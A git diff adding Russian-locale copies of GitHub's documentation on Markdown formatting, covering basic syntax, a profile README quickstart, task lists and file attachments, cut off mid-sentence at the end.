Create sophisticated formatting for your prose and code on GitHub with simple syntax. +redirect_from: + - /articles/basic-writing-and-formatting-syntax + - /github/writing-on-github/basic-writing-and-formatting-syntax + - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Basic formatting syntax +--- +## Headings + +To create a heading, add one to six <kbd>#</kbd> symbols before your heading text. The number of <kbd>#</kbd> you use will determine the size of the heading. + +```markdown +# The largest heading +## The second largest heading +###### The smallest heading +``` + +![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png) + +When you use two or more headings, GitHub automatically generates a table of contents which you can access by clicking {% octicon "list-unordered" aria-label="The unordered list icon" %} within the file header. Each heading title is listed in the table of contents and you can click a title to navigate to the selected section. + +![Screenshot highlighting the table of contents icon](/assets/images/help/repository/headings_toc.png) + +## Styling text + +You can indicate emphasis with bold, italic, strikethrough, subscript, or superscript text in comment fields and `.md` files. + +| Style | Syntax | Keyboard shortcut | Example | Output | +| --- | --- | --- | --- | --- | +| Bold | `** **` or `__ __`| <kbd>Command</kbd>+<kbd>B</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | `**This is bold text**` | **This is bold text** | +| Italic | `* *` or `_ _`     | <kbd>Command</kbd>+<kbd>I</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | `*This text is italicized*` | *This text is italicized* | +| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ | +| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** | +| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** | +| Subscript | `<sub> </sub>` | | `<sub>This is a subscript text</sub>` | <sub>This is a subscript text</sub> | +| Superscript | `<sup> </sup>` | | `<sup>This is a superscript text</sup>` | <sup>This is a superscript text</sup> | + +## Quoting text + +You can quote text with a <kbd>></kbd>. + +```markdown +Text that is not a quote + +> Text that is a quote +``` + +![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png) + +{% tip %} + +**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)." + +{% endtip %} + +## Quoting code + +You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted. You can also press the <kbd>Command</kbd>+<kbd>E</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>E</kbd> (Windows/Linux) keyboard shortcut to insert the backticks for a code block within a line of Markdown. + +```markdown +Use `git status` to list all new or modified files that haven't yet been committed. +``` + +![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png) + +To format code or text into its own distinct block, use triple backticks. + +<pre> +Some basic Git commands are: +``` +git status +git add +git commit +``` +</pre> + +![Rendered code block](/assets/images/help/writing/code-block-rendered.png) + +For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)." + +{% data reusables.user-settings.enabling-fixed-width-fonts %} + +## Supported color models + +In issues, pull requests, and discussions, you can call out colors within a sentence by using backticks. A supported color model within backticks will display a visualization of the color. + +```markdown +The background color should be `#ffffff` for light mode and `#0d1117` for dark mode. +``` + +![Rendered supported color model.](/assets/images/help/writing/supported-color-models-rendered.png) + +Here are the currently supported color models. + +| Color | Syntax | Example | Output | +| --- | --- | --- | --- | +| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | ![Rendered supported color model in HEX format.](/assets/images/help/writing/supported-color-models-hex-rendered.png) | +| RGB | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code> | ![Rendered supported color model in RGB format.](/assets/images/help/writing/supported-color-models-rgb-rendered.png) | +| HSL | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Rendered supported color model in HSL format.](/assets/images/help/writing/supported-color-models-hsl-rendered.png) | + +{% note %} + +**Notes:** + +- A supported color model cannot have any leading or trailing spaces within the backticks. +- The visualization of the color is only supported in issues, pull requests, and discussions. + +{% endnote %} + +## Links + +You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. You can also use the keyboard shortcut <kbd>Command</kbd>+<kbd>K</kbd> to create a link.{% ifversion fpt or ghae > 3.3 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} + +{% ifversion fpt or ghae > 3.5 or ghes > 3.5 or ghec %} You can also create a Markdown hyperlink by highlighting the text and using the keyboard shortcut <kbd>Command</kbd>+<kbd>V</kbd>. If you'd like to replace the text with the link, use the keyboard shortcut <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd>.{% endif %} + +`This site was built using [GitHub Pages](https://pages.github.com/).` + +![Rendered link](/assets/images/help/writing/link-rendered.png) + +{% tip %} + +**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." + +{% endtip %} + +## Section links + +{% data reusables.repositories.section-links %} + +## Relative links + +{% data reusables.repositories.relative-links %} + +## Images + +You can display an image by adding <kbd>!</kbd> and wrapping the alt text in `[ ]`. Then wrap the link for the image in parentheses `()`. + +`![This is an image](https://myoctocat.com/assets/images/base-octocat.svg)` + +![Rendered Image](/assets/images/help/writing/image-rendered.png) + +{% data variables.product.product_name %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see "[Uploading assets](#uploading-assets)." + +{% tip %} + +**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. + +{% endtip %} + +Here are some examples for using relative links to display an image. + +| Context | Relative Link | +| ------ | -------- | +| In a `.md` file on the same branch | `/assets/images/electrocat.png` | +| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` | +| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png?raw=true` | +| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | +| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` | + +{% note %} + +**Note**: The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository which contains these images. + +{% endnote %} + +For more information, see "[Relative Links](#relative-links)." + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +### Specifying the theme an image is shown to + +You can specify the theme an image is displayed for in Markdown by using the HTML `<picture>` element in combination with the `prefers-color-scheme` media feature. We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images. + +For example, the following code displays a sun image for light themes and a moon for dark themes: + +{% data reusables.getting-started.picture-element-example %} + +The old method of specifying images based on the theme, by using a fragment appended to the URL (`#gh-dark-mode-only` or `#gh-light-mode-only`), is deprecated and will be removed in favor of the new method described above. +{% endif %} + +## Lists + +You can make an unordered list by preceding one or more lines of text with <kbd>-</kbd> or <kbd>*</kbd>. + +```markdown +- George Washington +- John Adams +- Thomas Jefferson +``` + +![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png) + +To order your list, precede each line with a number. + +```markdown +1. James Madison +2. James Monroe +3. John Quincy Adams +``` + +![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png) + +### Nested Lists + +You can create a nested list by indenting one or more list items below another item. + +To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (<kbd>-</kbd> or <kbd>*</kbd>) lies directly below the first character of the text in the item above it. + +```markdown +1. First list item + - First nested list item + - Second nested list item +``` + +{% tip %} + +**Note**: In the web-based editor, you can indent or dedent one or more lines of text by first highlighting the desired lines and then using <kbd>Tab</kbd> or <kbd>Shift</kbd>+<kbd>Tab</kbd> respectively. + +{% endtip %} + +![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png) + +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png) + +To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item. + +In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`. + +```markdown +100. First list item + - First nested list item +``` + +![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png) + +You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces. + +```markdown +100. First list item + - First nested list item + - Second nested list item +``` + +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png) + +For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). + +## Task lists + +{% data reusables.repositories.task-list-markdown %} + +If a task list item description begins with a parenthesis, you'll need to escape it with <kbd>\\</kbd>: + +`- [ ] \(Optional) Open a followup issue` + +For more information, see "[About task lists](/articles/about-task-lists)." + +## Mentioning people and teams + +You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)." + +{% note %} + +**Note:** A person will only be notified about a mention if the person has read access to the repository and, if the repository is owned by an organization, the person is a member of the organization. + +{% endnote %} + +`@github/support What do you think about these updates?` + +![Rendered @mention](/assets/images/help/writing/mention-rendered.png) + +When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)." + +Typing an <kbd>@</kbd> symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation. + +The autocomplete results are restricted to repository collaborators and any other participants on the thread. + +## Referencing issues and pull requests + +You can bring up a list of suggested issues and pull requests within the repository by typing <kbd>#</kbd>. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result. + +For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." + +## Referencing external resources + +{% data reusables.repositories.autolink-references %} + +{% ifversion ghes < 3.4 %} +## Content attachments + +Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request. + +![Content attachment](/assets/images/github-apps/content_reference_attachment.png) + +To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %} + +Content attachments will not be displayed for URLs that are part of a markdown link. + +For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)."{% endif %} + +## Uploading assets + +You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository. + +## Using emoji + +You can add emoji to your writing by typing `:EMOJICODE:`. + +`@octocat :+1: This PR looks great - it's ready to merge! :shipit:` + +![Rendered emoji](/assets/images/help/writing/emoji-rendered.png) + +Typing <kbd>:</kbd> will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result. + +For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md). + +## Paragraphs + +You can create a new paragraph by leaving a blank line between lines of text. + +## Footnotes + +You can add footnotes to your content by using this bracket syntax: + +``` +Here is a simple footnote[^1]. + +A footnote can also have multiple lines[^2]. + +You can also use words, to fit your writing style more closely[^note]. + +[^1]: My reference. +[^2]: Every new line should be prefixed with 2 spaces. + This allows you to have a footnote with multiple lines. +[^note]: + Named footnotes will still render with numbers instead of the text but allow easier identification and linking. + This footnote also has been made with a different syntax using 4 spaces for new lines. +``` + +The footnote will render like this: + +![Rendered footnote](/assets/images/site/rendered-footnote.png) + +{% tip %} + +**Note**: The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown. + +Footnotes are not supported in wikis. + +{% endtip %} + +## Hiding content with comments + +You can tell {% data variables.product.product_name %} to hide content from the rendered Markdown by placing the content in an HTML comment. + +<pre> +<!-- This content will not appear in the rendered Markdown --> +</pre> + +## Ignoring Markdown formatting + +You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using <kbd>\\</kbd> before the Markdown character. + +`Let's rename \*our-new-project\* to \*our-old-project\*.` + +![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png) + +For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)." + +## Disabling Markdown rendering + +{% data reusables.repositories.disabling-markdown-rendering %} + +## Further reading + +- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) +- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)" +- "[Working with advanced formatting](/articles/working-with-advanced-formatting)" +- "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)" diff --git a/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md new file mode 100644 index 000000000000..674d479b5624 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md @@ -0,0 +1,26 @@ +--- +title: Getting started with writing and formatting on GitHub (Основные сведения о подготовке материалов и форматировании на GitHub) +redirect_from: + - /articles/markdown-basics + - /articles/things-you-can-do-in-a-text-area-on-github + - /articles/getting-started-with-writing-and-formatting-on-github + - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github +intro: 'Вы можете использовать простые функции для форматирования комментариев и взаимодействия с другими пользователями в проблемах, запросах на вытягивание и на вики-сайтах в GitHub.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /quickstart-for-writing-on-github + - /about-writing-and-formatting-on-github + - /basic-writing-and-formatting-syntax +shortTitle: Start writing on GitHub +ms.openlocfilehash: 97852af1f93d60084c08bcd0453f4ff46e8a72ff +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009852' +--- + diff --git a/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md new file mode 100644 index 000000000000..cff022aa8dcf --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md @@ -0,0 +1,244 @@ +--- +title: Quickstart for writing on GitHub +intro: 'Learn advanced formatting features by creating a {% ifversion ghae %}gist to describe yourself{% else %}README for your {% data variables.product.prodname_dotcom %} profile{% endif %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Quickstart +--- + +## Introduction + +Markdown is an easy-to-read, easy-to-write language for formatting plain text. You can use Markdown syntax, along with some additional HTML tags, to format your writing on {% data variables.product.prodname_dotcom %}, in places like repository READMEs and comments on pull requests and issues. In this guide, you'll learn some advanced formatting features by creating {% ifversion ghae %}a gist{% else %}or editing a README for your {% data variables.product.prodname_dotcom %} profile{% endif %}. + +If you're new to Markdown, you might want to start with "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)" or the [Communicate using Markdown](https://github.com/skills/communicate-using-markdown) {% data variables.product.prodname_learning %} course. + +{% ifversion not ghae %} + +If you already have a profile README, you can follow this guide by adding some features to your existing README, or by creating a gist with a Markdown file called something like `about-me.md`. For more information, see "[Creating gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)." + +{% endif %} + +{% ifversion ghae %} + +## Creating a gist + +Gists let you store or share code snippets and other pieces of information with others on {% data variables.location.product_location %}. To use formatting features in gists, add a gist file with a `.md` extension. + +1. Navigate to your {% data variables.gists.gist_homepage %}. +1. Optionally, type a description for the gist, such as "About me." +1. In the **Filename including extension...** field, type `about-me.md`. + +For more information, see "[Creating gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)." + +{% else %} + +## Creating or editing your profile README + +Your profile README lets you share information about yourself with the community on {% data variables.location.product_location %}. The README is displayed at the top of your profile page. + +If you don't already have a profile README, you can add one. + +1. Create a repository with the same name as your {% data variables.product.prodname_dotcom %} username, initializing the repository with a `README.md` file. For more information, see "[Managing your profile README](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme#adding-a-profile-readme)." +1. Edit the `README.md` file and delete the template text (beginning `### Hi there`) that is automatically added when you create the file. + +If you already have a profile README, you can edit it from your profile page. + +{% data reusables.profile.navigating-to-profile %} +1. Click the {% octicon "pencil" aria-label="The Pencil icon" %} next to your profile README. + + ![Screenshot of a profile page, with the pencil icon highlighted next to the profile README](/assets/images/help/profile/edit-profile-readme.png) + +{% endif %} + +## Adding an image to suit your visitors + +You can include images in your communication on {% data variables.product.prodname_dotcom %}. Here, you'll add a responsive image, such as a banner, to the top of your {% ifversion ghae %}gist{% else %}profile README{% endif %}. + +By using the HTML `<picture>` element with the `prefers-color-scheme` media feature, you can add an image that changes depending on whether a visitor is using light or dark mode. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)." + +1. Copy and paste the following markup into your {% ifversion ghae %}`about-me.md`{% else %}`README.md`{% endif %} file. + + ```HTML{:copy} + <picture> + <source media="(prefers-color-scheme: dark)" srcset="YOUR-DARKMODE-IMAGE"> + <source media="(prefers-color-scheme: light)" srcset="YOUR-LIGHTMODE-IMAGE"> + <img alt="YOUR-ALT-TEXT" src="YOUR-DEFAULT-IMAGE"> + </picture> + ``` +1. Replace the placeholders in the markup with the URLs of your chosen images. Alternatively, to try the feature first, you can copy the URLs from our example below. + + - Replace `YOUR-DARKMODE-IMAGE` with the URL of an image to display for visitors using dark mode. + - Replace `YOUR-LIGHTMODE-IMAGE` with the URL of an image to display for visitors using light mode. + - Replace `YOUR-DEFAULT-IMAGE` with the URL of an image to display in case neither of the other images can be matched, for example if the visitor is using a browser that does not support the `prefers-color-scheme` feature. +1. To make the image accessible for visitors who are using a screen reader, replace `YOUR-ALT-TEXT` with a description of the image. +1. To check the image has rendered correctly, click the **Preview** tab. + +For more information on using images in Markdown, see "[Basic writing and formatting syntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images)." + +### Example + +{% data reusables.getting-started.picture-element-example %} + +### How it looks + +![Screenshot of the Preview tab in light mode, with an image of a smiling sun displayed](/assets/images/help/profile/lightmode-image-example.png) + +## Adding a table + +You can use Markdown tables to organize information. Here, you'll use a table to introduce yourself by ranking something, such as your most-used programming languages or frameworks, the things you're spending your time learning, or your favorite hobbies. When a table column contains numbers, it's useful to right-align the column by using the syntax `--:` below the header row. + +1. Return to the **Edit {% ifversion ghae %}new {% endif %}file** tab. +1. To introduce yourself, two lines below the `</picture>` tag, add an `## About me` header and a short paragraph about yourself, like the following. + + ```Markdown + ## About me + + Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot. + ``` +1. Two lines below this paragraph, insert a table by copying and pasting the following markup. + + ```Markdown{:copy} + | Rank | THING-TO-RANK | + |-----:|---------------| + | 1| | + | 2| | + | 3| | + ``` +1. In the column on the right, replace `THING-TO-RANK` with "Languages," "Hobbies," or anything else, and fill in the column with your list of things. +1. To check the table has rendered correctly, click the **Preview** tab. + +For more information, see "[Organizing information with tables](/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables)." + +### Example + +```Markdown +## About me + +Hi, I'm Mona. You might recognize me as {% data variables.product.prodname_dotcom %}'s mascot. + +| Rank | Languages | +|-----:|-----------| +| 1| Javascript| +| 2| Python | +| 3| SQL | +``` + +### How it looks + +![Screenshot of the Preview tab, showing an "About me" heading and a rendered table with a list of languages](/assets/images/help/profile/markdown-table-example.png) + +## Adding a collapsed section + +To keep your content tidy, you can use the `<details>` tag to create an expandible collapsed section. + +1. To create a collapsed section for the table you created, wrap your table in `<details>` tags like in the following example. + + ```HTML{:copy} + <details> + <summary>My top THINGS-TO-RANK</summary> + + YOUR TABLE + + </details> + ``` +1. Between the `<summary>` tags, replace `THINGS-TO-RANK` with whatever you ranked in your table. +1. Optionally, to make the section display as open by default, add the `open` attribute to the `<details>` tag. + + ```HTML + <details open> + ``` +1. To check the collapsed section has rendered correctly, click the **Preview** tab. + +### Example + +```HTML +<details> +<summary>My top languages</summary> + +| Rank | Languages | +|-----:|-----------| +| 1| Javascript| +| 2| Python | +| 3| SQL | + +</details> +``` + +### How it looks + +![Screenshot of the Preview tab, with a collapsed section called "My top languages" marked by a dropdown arrow](/assets/images/help/profile/collapsed-section-example.png) + +## Adding a quote + +Markdown has many other options for formatting your content. Here, you'll add a horizontal rule to divide your page and a blockquote to format your favorite quote. + +1. At the bottom of your file, two lines below the `</details>` tag, add a horizontal rule by typing three or more dashes. + + ```Markdown + --- + ``` +1. Below the `---` line, add a quote by typing markup like the following. + + ```Markdown + > QUOTE + ``` + + Replace `QUOTE` with a quote of your choice. Alternatively, copy the quote from our example below. +1. To check everything has rendered correctly, click the **Preview** tab. + +### Example + +```Markdown +--- +> If we pull together and commit ourselves, then we can push through anything. + +— Mona the Octocat +``` + +### How it looks + +![Screenshot of the Preview tab, with an indented quote below a thick horizontal line](/assets/images/help/profile/markdown-quote-example.png) + +## Adding a comment + +You can use HTML comment syntax to add a comment that will be hidden in the output. Here, you'll add a comment to remind yourself to update your {% ifversion ghae %}gist{% else %}README{% endif %} later. + +1. Two lines below the `## About me` header, insert a comment by using the following markup. + + <pre> + <!-- COMMENT --> + </pre> + + Replace `COMMENT` with a "to-do" item you remind yourself to do something later (for example, to add more items to the table). +1. To check your comment is hidden in the output, click the **Preview** tab. + +### Example + +<pre> +## About me + +<!-- TO DO: add more details about me later --> +</pre> + +## Saving your work + +When you're happy with your changes, save your {% ifversion ghae %}gist. + +- To keep your gist hidden from search engines but visible to anyone you share the URL with, click **Create secret gist** +- If you're happy for your gist to be visible to anyone on {% data variables.location.product_location %}, click **Create internal gist** + +{% else %}profile README by clicking **Commit changes**. + +Committing directly to the `main` branch will make your changes visible to any visitor on your profile. If you want to save your work but aren't ready to make it visible on your profile, you can select **Create a new branch for this commit and start a pull request**. + +![Screenshot of the "Commit changes" section](/assets/images/help/profile/readme-commit-changes.png) + +{% endif %} + +## Next steps + +- Continue to learn about advanced formatting features. For example, see {% ifversion fpt or ghec %}"[Creating diagrams](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams)" and {% endif %}"[Creating and highlighting codeblocks](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks)." +- Use your new skills as you communicate across GitHub, in issues, pull requests, and discussions. For more information, see "[Communicating on {% data variables.product.prodname_dotcom %}](/get-started/quickstart/communicating-on-github)." diff --git a/translations/ru-RU/content/get-started/writing-on-github/index.md b/translations/ru-RU/content/get-started/writing-on-github/index.md new file mode 100644 index 000000000000..78ecabacb61c --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/index.md @@ -0,0 +1,27 @@ +--- +title: Создание документов на GitHub +redirect_from: + - /categories/88/articles + - /articles/github-flavored-markdown + - /articles/writing-on-github + - /categories/writing-on-github + - /github/writing-on-github +intro: 'Вы можете структурировать информацию, к которой предоставлен общий доступ в {% data variables.product.product_name %}, используя различные параметры форматирования.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /getting-started-with-writing-and-formatting-on-github + - /working-with-advanced-formatting + - /working-with-saved-replies + - /editing-and-sharing-content-with-gists +ms.openlocfilehash: a16f83a3ef073bde1409187aa680ded57859ec84 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069865' +--- + diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md new file mode 100644 index 000000000000..2b4495efc3c3 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists.md @@ -0,0 +1,81 @@ +--- +title: About task lists +intro: 'You can use task lists to break the work for an issue or pull request into smaller tasks, then track the full set of work to completion.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-task-lists + - /articles/about-task-lists + - /github/managing-your-work-on-github/about-task-lists + - /issues/tracking-your-work-with-issues/creating-issues/about-task-lists + - /issues/tracking-your-work-with-issues/about-task-lists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues +--- + +{% ifversion projects-v2-tasklists %} +{% note %} + +**Note:** For more information about the new iteration of Tasklists, which is currently in a private beta, see "[About Tasklists](/issues/tracking-your-work-with-issues/about-tasklists)." + +{% endnote %} +{% endif %} + +## About task lists + +A task list is a set of tasks that each render on a separate line with a clickable checkbox. You can select or deselect the checkboxes to mark the tasks as complete or incomplete. + +You can use Markdown to create a task list in any comment on {% data variables.product.product_name %}. {% ifversion fpt or ghec %}If you reference an issue, pull request, or discussion in a task list, the reference will unfurl to show the title and state.{% endif %} + +{% ifversion not fpt or ghec %} +You can view task list summary information in issue and pull request lists, when the task list is in the initial comment. +{% else %} + +## About issue task lists + +If you add a task list to the body of an issue, the list has added functionality. + +- To help you track your team's work on an issue, the progress of an issue's task list appears in various places on {% data variables.product.product_name %}, such as a repository's list of issues. +- If a task references another issue and someone closes that issue, the task's checkbox will automatically be marked as complete. +- If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. To add more details before creating the issue, you can use keyboard shortcuts to open the new issue form. For more information, see "[Keyboard shortcuts](/github/getting-started-with-github/using-github/keyboard-shortcuts#issues-and-pull-requests)." +- Any issues referenced in the task list will specify that they are tracked in the referencing issue. + +![Rendered task list](/assets/images/help/writing/task-list-rendered.png) + +{% endif %} + +## Creating task lists + +{% data reusables.repositories.task-list-markdown %} + +{% tip %} + +**Tip:** You cannot create task list items within closed issues or issues with linked pull requests. + +{% endtip %} + +## Reordering tasks + +You can reorder the items in a task list by clicking to the left of a task's checkbox, dragging the task to a new location, and dropping the task. You can reorder tasks across different lists in the same comment, but you can not reorder tasks across different comments. + +{% ifversion fpt %} ![Reordered task list](/assets/images/help/writing/task-list-reordered.gif) +{% else %} ![Reordered task list](/assets/images/enterprise/writing/task-lists-reorder.gif) {% endif %} + +{% ifversion fpt %} + +## Navigating tracked issues + +Any issues that are referenced in a task list specify that they are tracked by the issue that contains the task list. To navigate to the tracking issue from the tracked issue, click on the tracking issue number in the **Tracked in** section next to the issue status. + +![Tracked in example](/assets/images/help/writing/task_list_tracked.png) + +{% endif %} + +## Further reading + +{% ifversion code-scanning-task-lists %} +* "[Tracking {% data variables.product.prodname_code_scanning %} alerts in issues using task lists](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists)"{% endif %} diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md new file mode 100644 index 000000000000..c7e0a830e5e7 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md @@ -0,0 +1,61 @@ +--- +title: Attaching files +intro: You can convey information by attaching a variety of file types to your issues and pull requests. +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests + - /articles/issue-attachments + - /articles/file-attachments-on-issues-and-pull-requests + - /github/managing-your-work-on-github/file-attachments-on-issues-and-pull-requests + - /github/writing-on-github/working-with-advanced-formatting/attaching-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +--- + +{% data reusables.repositories.anyone-can-view-anonymized-url %} + +To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click the bar at the bottom of the comment box to browse, select, and add a file from your computer. + +![Select attachments from computer](/assets/images/help/pull_requests/select-bar.png) + +When you attach a file, it is uploaded immediately to {% data variables.product.product_name %} and the text field is updated to show the anonymized URL for the file. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %} + +{% tip %} + +**Tip:** In many browsers, you can copy-and-paste images directly into the box. + +{% endtip %} + +The maximum file size is: +- 10MB for images and gifs{% 